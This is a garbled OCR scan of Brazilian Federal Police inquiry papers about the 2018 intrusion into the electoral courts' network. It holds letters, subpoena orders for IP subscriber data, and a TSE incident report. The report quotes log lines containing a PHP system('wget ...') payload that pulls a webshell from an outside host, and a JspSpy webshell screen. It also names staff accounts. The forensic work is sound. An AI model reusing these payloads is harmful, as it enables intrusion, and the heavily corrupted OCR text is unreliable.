ClasseE ecial- tricul /r'1°16.179

""'*'-'==--—---='--\_--4-aa—...........,“,.,: - m_,_____H__
' D II‘glggggg/gA. RSCEBI oéie/gee-2.115s AUTQS 1:1
OhDESPAC§<'?)Eg6lEF?AD§gLl A FEDE"""-- C°'\"' 5
LAVRO ESTE TERM C§@)g°N$T”;3111\msc1_|\,1e:~rro_ -.~ W 3; OL Q 0-=
BRASILIA , I 4 , 2) - 5

" -4-=n-m -ram-=.-=m==.-=5.-.u@=-=.m.,<,é..TII.;,§ ‘$~\‘_

IPL N° 1361/2018
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;\~_\\':l| . v I V. ~- ’;.‘-. SR/PF! . '

~\ '~;-: _ - < 1 - -
“~71 ~ -:1-' _ " . . ' ' _

_ sERv|(;o PUBLICO FEDERAL‘ A A  F_ 1
- -MSP-POLlClA FEDERAL A

'0 SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL '
SAlS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

‘ A L . TJUNTADA'“ " ,“ '
Aos 26/02/2019, faoo juntada do(s)"seguintes document0'_ 1 O Oficio n° 29 " ' ~ - 1-1
GAB-SPR,, referido(s) no ‘Despacho retro. ED, - I S/AL_D O. Y’
SOUZA NASCIMENTO, Escrivao Qde Policia Federal, Classe Especial, 'Ma_t'ricul ‘ ' . .
n° 926 que o lavrei ‘ ' L ' H " =

IPL N° 1361/2018

. > . -_

. _. 1- . 1

1.-

X
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‘ :1 IUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR ELEITDRAL 1
I

~1“L '3?‘"11‘~15
FLS. § \

A .":" '":‘.‘*i-“'S‘
I PROTOCOLO-SEI

SERAICOADIDLOG/PF
TRIBUNAL sumzmon ELEITORAL 03200, .@2

Oficio n9 296 GAB-SPR

Brasilia, Qlide fevereirii cle 2019.
A Sua Exceléncia o Senhor lqg
Dr. MAURICIO LEITE VALEIXO ‘

4‘'i‘"~v=

Diretor-Geral da Policia Federal
Brasilia - DF 4 3 Q I 99-13

Assunto: Oficio n9 5825 GAB-SPR. Medidas de policia judiciéria.

Senhor Diretor-Geral,

Reiterando 0 Oficio n9 5979 GAB-SP_R, dc '20/11/2018, soljcifo a- gentileza de, em
carziter reservado, serem enviados a mim os resultados da investigagao promovida por esse
Departamento envolvendo as informagfies constantes na Informa;_€1_o;p9.3.21.STI,_eg1yjaijg5.
a esse Departamento por meio do Oficio n9 5825 GAB-SPR.

Atenciosamente,

RICARDO FIOREZE
Iuiz Auxiliar da Presidéncia I

Presidente da Comissao de Sindicéncia 7

RICARDO FIOREZE M% J
§.§*" Documento assinado eletronicamente em 04-/02/Z019, is 09§33,.Con'f'§J_Ijm€ art_,2l-‘*1,-‘§2%',=Il‘[;_~,
b, da Lei 11.419 2006.

E‘ _~_~1;'I_'1'&; A autenticidade do documento pode ser‘conferida em
https:_L/sei.tse.jus.br_/sei_/controlador externoqgpfi A Q

_ _4’*I1-I-f;ffi_-31*. a_cao=documento conferir&icl orgao acesso exterpo=O&cv=O963982&crc=B7C9F9BA,_ *
| .. J: informando, caso nio preenchido, 0 cédi o verificador 0963982 e o‘c6di 0 CRC' T ,flu) _‘ I'D g _ g
E .4“--. _.g-5‘ B7C9F9BA.

ZO18.U0.0000 143093 ‘Documento :19 Q9§39§Z y_4_

'-‘I.

41,,I ‘ .

,_ _ _-
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sERv|<;o PU__BLlCO FEDERAL . . ~ 1
MSP . POLICIA FEDERAL - ..

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL '
SAIS Quadra 7 - Lote 23 -Q Setor Policial Sul ~ Brasilia/DF - CEP 70.610-902 . .

Oficio n° 1468/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC 2 » -i _ A . -

. Brasilia/DF, 26 de fevereiro de 2019.‘ '

A Sua Exceléjncia, o Senhor’ .
RICARDO FIOREZE
Juiz Auxiliar da Presidéncia do Tribunal Superior Eleitoral _ ,
Setor de Administragéo Federal Sul (SAFS), Quadra 7, Lotes 1/2-E» Tel.:.(61) 3030-7000 _

" . ' i ‘ i ., " 1"
. -‘ 11

Assunto:_ Solicitaoéo de informagoes _ . . .
Ref.: IPL 1361/201874 - SR/PF/DF - (Favor citar essa referéncia na resposta) ‘

Senhor Juiz Auxiliar, - ‘ ' A
_ <

Visando instruir os autos do lnquérito Policial‘ n° 1361/201854‘
SR/PF/DF, informo a Vossa Excelénoia que o lnquérito esta emandamento, restando A.
pendente. atualmente, analise por parte'~do' Ser_vi<;o de Repressao a 'Crimes‘j_~

X

Cibernéticos do material encaminhado pelo TSE. - " _ ' ' _ _

Atenciosamente

_i ' RNEVES FEITOSA CAMPOS‘ ' ' I ' »
Delegado de Policia Federal

Classe Especial - Matricula n° 16.179 " .

A V A ' deBarros Correia\ A\'\\\I?>° ' 'aI‘B¢°'a\10\\('.\
r>e\e%==‘°° .d:.\1_1n1\L11\1|s\\l\’II“‘ ~ * _
“°\q”€\_{. Qp\1\\‘.‘» 1..

lPLN°1361f/2018 ‘ »fls.f1'/'1" -

_\§-7$grm=. F|- _

if Rub ‘*
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sERv|co PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - semr Policial Sul - Brasilia/DF _ CEP 10.610-902

IPL 11° 1361/2018-4 - SR/PF/DF

1. Junte-se o relatorio de incidente produzido pela equipe de Tl do TSE.

2. Junte-se a lnformacao n° O02/2019-UTC/SRCC/CGPFAZ/DICOR/PF.

3. Formalize-se a apreensao do disco rigido externo e do pen drive que
acompanham a informacao, encaminhando-se, em seguida, ao deposito desta
Superintendéncia. ‘

4. Oficie-se a empresa Locaweb Servicos de Internet S/A, requisitando os
dados cadastrais do usuario do IP 191.252.64.20, em 17/04/2018, as 21:46:26 e
18/04/2018, as 06:36:35, bem como o conteudo referente a hospedagem que utilizou 0
IP 191.252.0.19, em 18/04/2018, as 00:23:48. '

5. Oficie-'se a empresa Claro S/A, requisitando os dados cadastrais dos
usuariosdolP 201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as
08:36:42, e do IP 201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as
05:48:59.

6. Oficie-se a empresa Tim Celular S/A, requisitando os dados cadastrais
dos usuarios dos IP: ~
189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/04/2018, as 19:02:05
189..40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/04/2018, as 20:56:20
189..40.72.247, 18/04/2018, as 22:21:17
189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018, as 01:13:32
189.40.90.253, em 19/O4/2018, as 04:08:37

7. Aguarde-se em cartorio resposta ao expediente citado no item 4 supra,
observando-se o vencimento do prazo de permanéncia deste apuratorio no ambito
desta Policia Judiciaria da Uniao (21/04/2019),/1 quando devera ser remetido ao
NUCART, independente de novo despachoqw/cor7//determinagao de remessa do feito ao
Ministério Pfiblico Federal do DF, com solicitagy dk: concessao de novo prazo.1 / Brasilia/DF, 17 de abril de 2019.

VICTOR NEVES FEI‘ OSA CAMPOS
Delegado de goliiéia Federal

Classe Especial - 5 ricula n° 16.1-'79 I

IPL N” 1361/2018

SR/PF/DF
"1T:' '21?‘

Rub:
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, : TRIBUNAL SUPERIOR ELEITORAL "S-5-l--_
COORQENADORIA DE INFRAESTRUTURA

SECAO DE SUPORTE OPERACIONAL

AO Sr. SECRETARIO DE TECNOLOGIA DA INFORMACAO,

Venho através desse documento, relatar o incidente de rede oconido no periodo de 18 de abril
a 21 de abril de 2018 que veio a afetar ativos de rede e servidores da rede intema do TRE-PE, bem
como de toda a justiea eleitoral.

No dia 20 de abril de 2018 as 15:06 da tarde, foi detectado pela equipe do Tribunal Regional
de Pernambuco, acesso indevido ao seu servidor de banco de dados, com acesso oriundo da maquina
p1ank.tre-m.jus.br (10.16.140.49) um dos servidores de banco de dados do Tribunal Regional
Eleitoral de Pemambuco.

Tendo em vista nao ser normal o acesso de banco de dados entre Regionais, iniciou-se
investigaoao para saber a origem do acesso. Verificou-se que houve 0 comprometimento de um
servidor WEB do Tribunal Regional do Rio Grande do Norte, a partir do qual o atacante comegzou a
realizar acesso a varios regionais, dentre eles BA, GO, e SP.

Verificou-se que os acessos ao banco do TRE-PE, foram realizados a partir da maquina
10.16.140.49 e da maquina spma1ote01.tre-sp.gov.br (10.1.l.215) do TRE-SP. O banco de dados
acessado chama-se SIMPLA.

A partir dai, houve relatos sobre escaneamentos de rede e tentativas de intmsao de varios
locais dentro da Justiqa Eleitoral, tais como TRE-AC, TRE-PR, TRE-CE, TRE-BA, TRE-PB.

Em seguida, houve o relato, por parte do TRE-AP, de que uma de suas maquinas Windows
havia sido comprometida, utilizando um 1.1Sl1é.I'l0 de administraeio do TSE. Esse usuario é antigo e
deveria estar desativado. A senha era de facil deduefio. A partir dessa maquina, foi acessado um
servidor de dominio no TSE.

A maquina TRE-AP (l0.25.30. 13) foi utilizada pelo usuario administrador TRE-AP/tse (tela
04) para acessar outras maquinas da Justiea Eleitoral (tela 01).

No momento que acessamos a maquina, ele estava acessando a maquina do TSE 10.30.1.221
com 0 usuario TSE/suporte para visualizar os logs do exchange (tela 02 e 03).

Vimos no log do Windows que ele também tentou acessar outros IP's do TSE.

Tela 05 exibe 0 invasor acessando o webshell da maquina 10.1.1.127.

Lista de IPs de origem que acessaram nossa maquina via RDP: l0.12.2.7,10.12.2.29 e
l0.12.2.41. '

O primeiro acesso foi realizado dia 20/04/2018 e o teamviewer foi instalado dia 22/04/2018.
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28080(1o.1.1.121) Jsgggy Ver gone
1.9%] file Manaqgrl Dalaflase Ma1iaqg_r| Exeqrte Command I Shell 0nLine| Back Connecll Port Scan | Download Remote File] CMBoard I Remote Comroll Port Map | JSP Env

iava.sql.SQLException: lo exception: The Network Adapter could not establish the connection
at oracle.idbc.driver.DatabaseError.throwSqlException(DatabaseError.iava:11 2)
at oracle.ji1bc.driver.DatabaseError.throw$qlExceplion(DalabaseError.java:146)
at oracle.jdbe.driver.DalabaseError.throwSqlException(DalabaseError.iava:Z55)
at oraclejdbc.driver.T4CConnection.logon(T4CConnection.java:3B7)
at oraclejdbc.driver.PhysicaIConnection.<init>lPhysicaIConnec1ion.java:-139)
at oracle.]dbc.drlver.T4CConnei:lion.<inil>(T4CConnec1ion.]ava:165)
at oracle.jubc,driver.T4C Drlverixtension.getConneclIon(‘I4CDrivarEx1ension.iava:35)
at orac|e.jdbc.drlver.0rac|eDriver.connec!l0racleDr1ver.java:801)
at java.sqI.DriverManagergelConnec1ion(DriverManager.java:620)
at java.sql.DriverManager.getConnecrion(DriverManager.java:200)
at org.apache.isp.JspSpy_jspSDBOperalor.<inil>(JspSpyJsp.java:72)
at org.apache.isp.Jsp5py_jspSDbclnvoker.invoke(Jsp Spy_]sp.java:B19)

~ at org.apacne.jsp.JspSpy_isp._jspService(JspSpy_jsp.java:2392)
at org.apachejaspenruntime.HttpJspBase.service(HttpJspBasejavaz70)
at javax.servlet.lmp.HttpServleLservice(HttpServlet.java:717|
at org.apache.jasper.servIe!.Jsp ServletWrapper.service(JspServletWrapper.java:377)
at org.apache.jasper.servlet.JspServleLsewiceJspFile(JspServlel.java:313)
at org.apache.jasper.servlet.JspSen!let.service(JspServlet.java:260)
at iavax.servlet.hnp.HttpServlet.service(Http5ervlet.java:717l
at org.apache.catalIna.coreJxppl1catIonFilterChain.intema|DoFilter(ApplicalionFilterChain.]ava:29l‘l)
at org.apache.calaIIna.core.AppllcatlonFilterthain.doFiIter(ApplicationFi|terChain.iava:206)
at orq.apache.calalina.core.StandardWrapperValve.lnvoke(StandardWrapperValve.java:233)
at org.apache.cata|ina.core.StandardContextValve.invoke(StandardConlexlValve.iava:191)
at 0rg.apache.cataIlna.core.Standard HosrvaIvejnvokelStandardHoslValve.java:127)
at org.apache.catalina.valvas.ErrorReportValve.invoke(ErrorReno|1Valve.java:102)
at org.apache.calalina.core.StandardEn|;ineValve.invoke(Standard EngineVaIve.iava:109]
at org.apache.catalina.connector.CoyoteAuaplenservice(Coyo!eAdapler.java:298)
at org.apache.coyote.lmp11.Htu>11Processor.prooess(Hrm11Prooessor.iava:852)
atorg.apache.coyote.lmp11.Hl1p11Pr0tocolSHnp1 ‘lconneclion I-lanuler.process(Http11Protocol.java:588)
at org.apache.lomcat.util.net.JloEndpoint$Worker.run(J|oEndpolnt.]ava:489)
at java.lang.Thread.mn(Thread.java:636)

Copyright (C) 2009 hy1g"lMw.Fg|‘|.mg |1'00|s.Nel] All Rigms Reserved.

:: /O [El] e m Q % Q A El Q5’ rig; 23/06328018 U

A partir desse relato observamos a instalaeao de um webshell (WebShel12JspSpy Private Codz By —
Ninty.j sp) em algumas maquinas de TRE, mais notadamente TRE-SP e TRE-BA.

Apos analise dos logs do Checkpoint, firewall existente entre as redes do TRE—PE e TSE, foram
verificados os seguintes indicios e fatos:

No dia 18.04.2018 as 18:37:18 e as 19:03:45 houve acessos da maquina 10.12.2.29 a maquina
10.8.8.188 via protocolo rdp;

No dia 18.04.2018 a partir das 19:09:17 houve escaneamento das portas 80, 443, 3389 e 8080 em
toda rede 10.8.0.0 a partir da maquina 10.12.2.29. Esse procedimento acabou as 20:45:47;

No dia 18.04.2018 as 22:22:59 a maquina 10.12.2.29 tentou acessar as portas 80, 443, 3389 e 8080
no endereeo 10.8.0.0;

No dia 19.04.2018 as 17:07:36 houve conexao na poita UDP 52638 na maquina 10.8.8.87 (ATA) a
partir da maquina 10.12.2.29;
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No dia 19.04.2018 as 19:08:52 houve conexao na porta TCP 8080 na maquina 10.8.1.2 (pe2) a artir
da maquina 10.l2.2.29;
No dia 19.04.2018 as 19:10:55 houve tentativas de conexao na porta TCP 22, 80 e 8080 na maquina
(10.8.1.11) PEMAIL01 a partir da maquina 10.l2.2.29 com varias interacoes na porta 8080;

O enderecamento de rede 10.12 pertence a rede do TRE-PB. Ao investigar a origem do trafego em
10.l2.2.29, descobrimos tratar-se de uma conexao VPN disponibilizada para a empresa Digitro
(terceirizada que da manutencao nas centrais telefonicas do TRE-PB). Observando os logs do firewall
do TRE-PB no momento do ocorrido, foi possivel obter o endereco 177.165.110.249.
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No dia 19.04.2018 as 19:52:24 houve tentativas de conexao na porta TCP 8080 na maquina (10.8.1.11)
PEMAIL01 a partir da maquina 10.12.2.7 na porta 8080;

No dia 19.04.2018 as 21 :03 :31 houve uma iinica tentativa de conexao na porta TCP 1521 (ORACNLE)
na maquina (10.8.1.84) VULCAN — SERVIDOR DE BANCO DE DADOS DE APLICACOES
LOCAIS a partir da maquina 10.1.1.215 (spmalote01 .tre-sp.gov.br);

No dia 19.04.2018 das 20:04:07 até 21 :13 houve conexao na porta TCP 1521 (ORACLE) na maquina
(10.8.1.84) VULCAN — SERVIDOR DE BANCO DE APLICACDES LOCAIS a partir da maquina
10.16.140.49 (plank.tre-rn.gov.br) com intercaladas conexoes na maquina (10.8.1.l1) PEMAIL01
a partir da maquina 10.l2.2.29 e da maquina 10.12.2.7;

Ainda no dia 19.04.2018, a maquina 10.l2.2.29 acessou as maquinas 10.8.1.25, 10.8.1.29, 10.8.1.54,
10.8.1.56, 10.8.1.107, 10.8.1.113 as 22:04:05 com interacao entre as maquinas indicando uma
possivel tentativa de invasao. Por volta das 22:40:08, a maquina 10.12.2.7 comecou um scan na porta
3389 na rede 10.8, tenninando por volta das 04:36:43 do dia 20/04.

No dia 20.04.2018 as 6:29, a maquina 10.l2.2.29 tentou acesso via porta 3389 as maquinas 10.8.8.12,
10.8.5.18, 10.8.3.49, 10.8.2.68, 10.8.7.137 e 10.8.l2.138. Esse acesso teve mais de uma interacao,
indicando uma possivel tentativa de comprometimento dessas maquinas.

Por volta das 08:02:18, a maquina 10.12.1.29 comecou um scan da rede 10.108 para as portas 8080
e 3389. Esse procedimento acabou as 09:30:37.

As 10:58:11 do dia 20.04.2018 a maquina 10.12.1.29 tenta conexao nas portas 8080 e 3389 para o
endereco 10.108.0.0;
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'As 10:59;54 do dia 20.04.2018, a maquina 10.12.2.7 comeca um escaneamento na rede 2%:
porta 3389, terminando as 13:01:03.

Durante 0 dia 20/04/2018 percebemos ainda vérias tentativas de acesso nao identificados da maquina
10.12.2.7 a maquinas dc nossa rede usando a porta 3389 0 que, pela diferenca no tempo de acesso
nos leva a crer que seja algum programa robo. O acesso durou até as 13:15:50 do dia 20/04/2018.

No dia 20.04.2018 as 15:12:27 houve tentativa de escaneamento a partir da maquina seres12
(10.8.15.13) de nossa administracao para o IP da maquina do TRE-RN 10.16.140.4 com o intuito de
tentar descobrir mais informacoes sobre a maquina em uso. O escaneamento de portas para este IP
ocorreu logo apos descobrinnos 0 acesso a maquina no nosso servidor de banco pela maquina
plank.tre-m.gov.br. Depois vimos que o IP estava errado pois o IP correto da p1ank.tre-m.gov.br era
o 10.16.140.49.

Dia 20.04 a partir das 23:44:04 percebemos no log outra tentativa de escaneamento de portas na rede
efetuada a partir da maquina l0.7.10.28, sendo especificamente as portas: 80, 443, 8080, 8081, 8180,
21, 3389 nos nossos firewall checkpoint (IP’s 172.16.8.201, 172.16.8.202, 172.16.8.203,
172.16.8.204), em um dos firewalls sonicwall (IP’s 172.16.8.222) e na maquina piedade (IP:
172.16.8.218), nosso firewall para a rede extema.

Dia 20.04 a partir das 23:44:08 houve uma série de conexoes na porta 443, provenientes da maquina
l0.7.10.28, aos firewalls checkpoints e a maquina piedade. Avaliando os logs da propria piedade no
horario, vimos que os acessos se deram com o objetivo de achar vulnerabilidades no PHP ou em
algum outro sen/ico web, porém, segundo consta no log da maquina, nao conseguiram ser achadas.
As conexoes foram até dia 20.04 as 23:45:53.

A partir das 00:15:16 do dia 21.04 registramos duas tentativas de conexao pela porta 445 da maquina
10.12.2.7 nos IP’s 10.181.197.85 e 10.8.69.60. Tais IP’s nao existem em nossa rede, o que nos causou
estranheza.

Também foi registrado as 01:30:00 do dia 21.04 acesso do IP 10.l2.2.29 a porta 80 do IP 10.8.1.209,
correspondente a ILO (porta de manutencao) de um de nossos servidores que foi desconectada no dia
23.04. -

As 1:32:41 do dia 21 .04 registramos outro escaneamento da maquina IP 10.12.2.7 em varias maquinas
de nossa rede local windows pelas portas 3389, sendo finalizado o acesso as 1:34:58 do dia 21.04.

A partir de 01:35:29 do dia 21.04 até 03:32:27 do dia 21.04 verificamos urn outro escaneamento de
rede partindo do IP 10.7.10.28 para a rede 10.181.0.0 (zonas eleitorais) nas portas 8080, 3389, 21,
8180 e 8081.

Apos o escaneamento uma tentativa de conexao no dia 21 .04 as 06:31 :42 na porta 445 da maquina IP
10.108.16.39 vindo da maquina 10.12.2.7.

No dia 21 .04 a partir das 07:50:45 até 08:07:47 novo escaneamento na porta 3389 a partir da maquina
10.7.10.28 na rede 10.181.0.0 e sub-redes.

No dia 21.04 a partir das 09:22:48 até 09:27:13 a maquina l0.7.10.28 escaneou as portas 8000 até
8999 nos firewalls checkpoint 172.16.8.201, 172.8.16.202 e 172.16.8.203 e nos IP’s 172.16.8.204 a
l72.8.16.217.

Fl. 208
SR/PF/DF

2020.0043195



=*~ Pc_-§'~Lw '°/<>
V F;s.3L
I

No dia 21 .04 a partir da maquina 10.7.10.28 das 09:27:13 até 09:28:47 escaneou os IP’s 172.1 -.1.218
(piedade) até o IP 172.16.8.223 nas portas 8000 até 8999. I ‘

No dia 21.04 da maquina 10.7.10.28 das 09:30:44 até 09:32:14 tentou conexao a rede 172.16.8.1 a
172.16.8.223 na porta 3389 a partir da maquina.

No dia 21 .04 a partir da maquina l0.7.10.28 das 09:44:22 até 09:58:58 tentou conexao em toda a rede
10.8.0.0 a partir da porta 3389, sendo desconectado apos retirarmos o acesso do TRE-PE a rede do
TSE.

Por fim buscou-se identificar quais portas de entrada foram utilizadas pelo atacante. Além da VPN
do TRE-PB, conforme relatado acima, foi identificado um ponto dc entrada (talvez o primeiro) a
partir de uma maquina no TRE-RN.

O TSE disponibiliza maquinas virtuais para o TRE-RN, sendo que o TRE optou pela implementacao
deu m proxy reverso nesse servidor disponibilizado no TSE. Enviando comandos para esse
equipamento, o atacante conseguiu acesso a um servidor do TRE-RN, a partir do qual iniciou esses
ataques.

Analisando os logs do servidor web, observou-se que os primeiros acessos ocorreram no dia 16 de
abril de 2018.
IlI!1.I£\3.I'Ifi.7 ~ v IIf»/flpr-/ZI/III|:lLI:Z-1:211 —B3PlBI "GET /sistenus/I‘nII.(ys0s/7 lI'l'l'l'/I..I" Z00 451411 "~" "('1 sgsLum('u§|n'I; I|tt||::://n'\u.giI.hub\|s1:rr:nnI.cnI..|:u|n/I,|:n|u:/\.1:hsIu:I]
I/mster/plup/hII?4k/I>37'lk>2.2.:-nin.||l||i 4] /u.|.m.n:b2/I.m:- pin/sIn:l I . |\I|p' I;'!)" I
185.153.1713.? ~ lltv/flpr/Zt1lH:I8:Z'lrZ9 43388] "GET /sisi.r.-mus/faltusos/inxigens/boI..\o_ok.gif H'l'I‘I'/1.1“ 280 1844 "I|tl.|1I//npps3.tr|:—rn.jus.hr/sistemus/l‘a1I.osus/7" ,
"<'? s_rJsI.::m('uJel. I\l.l.|1st//r&\u.gIl.l|ubuser|:ontunI..c0nvI.e||m:/uehslielI/masI.::r/pllp/l137“Ik/hEI7*1I<-Z.2.mi||.|1I|p -0 /uuu/ue:h2/lm:-p=\/slwel I .pIip' );’?>" _
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ab /h37"Ik/hEI7‘lk~2.Z.min. lln ~[| /|.u.v|.|:b2/lrc> I I 'lI. I ' );'!>". I1 I I I1“ $"- IIIII <
105.153.1761 ~ V I10/flpu-/2618113121134 -B3881 "PIIIST /sistumis/failtnsos/? II1'l'l’/1.1" Z88 ‘I621: "luttp://apps?!.tre-rn.jus.b|~/sistemas/f<\ltnsos/'2" "('2 s\,|sI.|:m(’uJuI. In
ttpsI//rau.yitimhusm-cm\tcnt.|:nm/t|:nn|:/u:hsI|r:lI/nnsI.|:r/plnp/hII71k/h37’Ik—Z.2.min.|1I\|1 II /u.u/uzbl/trr:-pa/sI||:I I 1|)I\]1' 1:7)" _
l£l5.153.176.7 '- V [16/Mir/2818119121135 -B388] "GET /I'i\vi|:on.i|:o HTTP/1.1" ‘lI:I'I Z55 "<7 sysI.cm('ugcI. IlI,lpS-//I‘i\l-|.{|1I.|\\!bllSCl‘COIN.ClII..Dl)|n/|.|:\IllC/lJ:I)S|ll:||/I1\\SI.C|‘/
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ttps1//rau.yitlmhusuw-nnutmit.cnnvv.r:nnc/urrhalicl I/rmstcr/|1I\|vhFI?'Ik/h371k 7..Z.mi|\.pI\p I1 /u.n.vu:hZ/tvc~pa/slml I .pI|p' ):?>"
lIh,l53.l'r'fi.7 — ' Ill-/fipu-/2l]IU:l‘J:24:IIU ~U3BPII "(IIIT /f\lVICOII.IIID lIII'I/1 1 ‘IBM 255 "<7 :~:g>;I.z:m('ugcI. IIL|.pSI//r‘<|\-I-1]II.Ilu|l\l3U|‘IIUllI.l:|II..\ZOn\/I.L:||||C/l~l;I)1€Ill2||/|I\\\S|.l:I‘/
|1I|||/hII?4I</hEI71k-2.2 .min.|1||p -»0 /mu/uchZ/I.r::—p&~/sliell.|1I|p' 1;'?>" ‘
I|IEi.ILi'J.I'M3.'? -~ » I1(>/npr/ZBItI:l9:Z5IElEi -B3881 "POST /sistmms/I"aItnsos/'? IITI1’/1.1"’ 288 12263 "—" "<7 sgst.cm('u(||:I. https://rau.gitI\ubus|:rconY.cnt.cn|n/tcnnc/u:bsh
,lI/musl.::r/||lap/h§I?4k/I\II'i'4k-Z .Z.mi\|.|J|\|| —(I /u.u/|.l:I\Z/Ln:-|m/slnzl l .]JI|||' )2'.7>" I
II1'.'|,153.l7(:.7 ~ - 116/|'I|\r/ZI'Il{I:19125167 -83%] "GET /I‘nuicun.i|:o II'ITl’/1.1" ‘II/I4 255 "—" "<'! sgsti:m('uJcI. I|I.t||sI//rau.g|itI|nbuser|:nnlent.com/Ln:nni:/\.::h:~:In:II/nvnstew
pI|||/hII?'1k/b§I7'lk-2.Z.mi||.||I|p ll /u.u/u:h7./trc-|1;\/sluzl I .|1I\|1' ):'!)"
IIIE-.I'.13.l'/6.7 - ~ IIf»/fipr/ZIIIU:19:25:31: 83881 "GIZ'l‘ /sisuermslib Il'ITI’/1.1" 41!’! 255 "‘~" "('1' sysI.e|n('u_|cI. Iutlpst//rau.giI,Iu|b\|5Pr|:0|\t.e1It.c0m/I.r:\\nI:/u:hsI|::ll/masI.cr/
iln/b3'r"Ik/h'I'r"lk P 7 min \In U /u.u/I-I'h'/./I. — I ll I ' ‘ "I . .1 | . re pa/sue .p||\ 3:!)
lII!|.I!1l<I.l'I[\.? IIf»/nln-/ZIIIIIIl‘I:Z!\:;Ih IITIHIII "GII'|' /l‘nuir‘nn. inn IITFI’/l.I" ‘III-1 11.55 " " "('! s\J<l.r:m('u_]\':I. Mtps //ri\u.gi1.I|||bu§\ Pl nnl.enI..cnnvI.|:|\urt/uthslmlI/mstr r/
|>I|||./l\J'r'-Ik/bII'l‘Ik 1 I-I.mi||.||I||| u /l-Aw;/LI'II:I/l|‘l‘.~|m/>;I||‘|I.||I\||' >:'r:»"
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/|yI|p/I\Il?'Ik/b37‘Ik-2.2.mi||.pI||\ II /u.u/I-|:h2/lrc~|m/slml I .php' 1:7)"
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Existe uma copia desta maquina virtual encaminhada junto a este relatorio. A mesma esta sob o
nome de trernrack.zip.

Por fim, durante 0 periodo de analise, observou-se conexoes indevidas a VPN de acesso do TSE. Uma
dessas conexoes foi realizada com o usuario do Coordenador de lnfraestrutura do TSE. A senha desse
usuario nao era trivial e utilizada exclusivamente no ambiente do TSE.
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Pesquisando nos logs do firewall, identificou-se que outros usuarios também foram acessa ;. .
partir do mesmo IP (que pertence a VPN do NordVPN). p N

<>@1mn11m1r.v ‘1*>§@““°
1or~' PwmK‘F\ _

vs *QU!l1C! (
ERS

> O‘ Q. ‘Q 0 Las124-Hours - blade:"Mobile Access" AND action:("Fai|ed Log In" OR "Log iii")/1
Found 6rcsii11s(40r1 ms)

ND NOT1 iser:(co11siilar O1

QED E3’ F?1?é . QEIIBB ME? , W, ,
_,_ emzife

mieirrzry, 17:50:05
Yesterday, 17:rI9:‘l8

$2
ff: Y:sierrl.1y,l7:3Sh1B

\'!§1£I(|fly, 17:16:29
vesrerrlay, 17:02:00
Yesterday, 16:57:12

EAas _
*0*1)4I*1)'0~0 EHGIIIEIEEI éléé’-'é|§'é:

300

Nzimur

Nrimor

._ Namor

Q Namor

E1 Nan1oi

Q Nnrr1o1

‘IBS.153.176.7

155.153.1753

185.153.1763

185.153.1763

155.153.1763

155.153.1763

Crislmno Morena Andrade[<ristiano.andrar1e) Mobile Access P...

Marcos Goulart dc Souza fmarcos.qoular1] Mobile Access P...

Andre luiz Do Nasciriierilo Scum (iIl\dIC.I\iI$(II1l¢f‘I1G) Mobile Access P...

Carlos Peicira 01:1; ((arlos.dlas_) Mobile Access P...

lohr1Cair11lno de Soirsrr (iohn.sousaI

Ru11ie|Nur1es Srrr:\Na(ri11ueI.s.1ialvzi)
Mobile Access P...

Mobile Access P...

Windows

Windows

Windows

Windows

Windows

windows

Pas sword ;
Password I
Password ‘
Password
Password ,
Password ‘

i‘

_ . _ e_.______w___.__.._~__.._e __ As. _. _ >’\ ._.2___.__J

Devido a nao trivialidade da senha do coordenador, e de outros usuarios terem sido comprometidos,
cremos que a base de usuarios do AD pode ter sidocomprometida e que 0 atacante esta quebrando
as senhas para posterior uso

Relacao com 0 Evento de Setembro de 2018.

Em reportagem divulgada no site Tecmundo, em 07 de novembro de 2018, cujo texto é transcrito
abaixo:

"Com isso, obtive milhares
de codigos-fontes,
documentos sigilosos e até
mesmo credenciais"

siste.m.a.s de v0ta(_:€1o", escreveu a fonte. "Com isso, obtive milhares de cr:'>dig0s—

(intranet) e, por vérios
"five acesso a rede inte:rna=

meses, fiquei exiplorando a

diversas rnéquinas
diferentes do TSE, em
busca de comp_ree.nder 0»
funcionamento dos

rede, inclusive eintrando em

fontezs, clocurnentos sigilosos e. até mesmo credenciais, sendo login de um rr|in'istr0
SUbS11'1Il.1t0 do TSE (Sergio Banhos) e =diIversos técnicos, alguns sendo ligados a alta
cripulai de Tl do 'l'SE, ligado ao pai das urnas (Giuseppe Janiino)“.

F/0
A
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O atacante descreve que possuiu acesso a rede interna, por varios meses, entrando em d ersas
'maquinas. Este relato condiz com o que foi observado em abril deste ano. it ‘ 1 "

Além disso ele descreve que houve troca de e-mails entre os técnicos do TSE e que os acessos de
VPN foram cortados, o que de fato ocorreu.

“Passadas algumas semanas em que estive utilizando os equipamentos de rede do
TSE, notei via -emails dos técnicos da STE! que os mesmos notaram trafego .suspeito
(porque. utilizei programas de scan na rede)”, -explica a fonte. “Fizeram uma p6.i'l'iC.Ia.
para detalhar como 0 invasor conseguiu obter acesso ilegal a red e, mas mesmo
com todos estes procedimentos de seguranga que dotaram, incluindo a alteragao
de senhas de todas as contas, acabou nao sendosufrciente para interromper meu
acesso aos emails e. também para a rede intema”.

A fonte também indicou"Somente 0 codigo—f0nte
descompactado (GEDAI-
UE), ultmpassa 3GBs"

que durante a votaga-o de
primeiro turno, no dia 07
de. outubro, os técnicos do
TSE “corta ram acesso VPN
e ao Correio, ta lvez para

justificar que as urnas nao possuem conexao a internet”.

Observa-se ainda o relato de que ele obteve acesso a senha do Ministro Sérgio Banhos e também a
senha de alguém ligado ao Secretario de Tecnologia da Infonnacao. Conforma relatamos acima, é
bastante provavel que, em Abril, o atacante tenha conseguido copiar a base de dados do AD, e
posterionnente tenha tentado quebrar as senhas de acesso, conseguindo a senha do Ministro Sergio
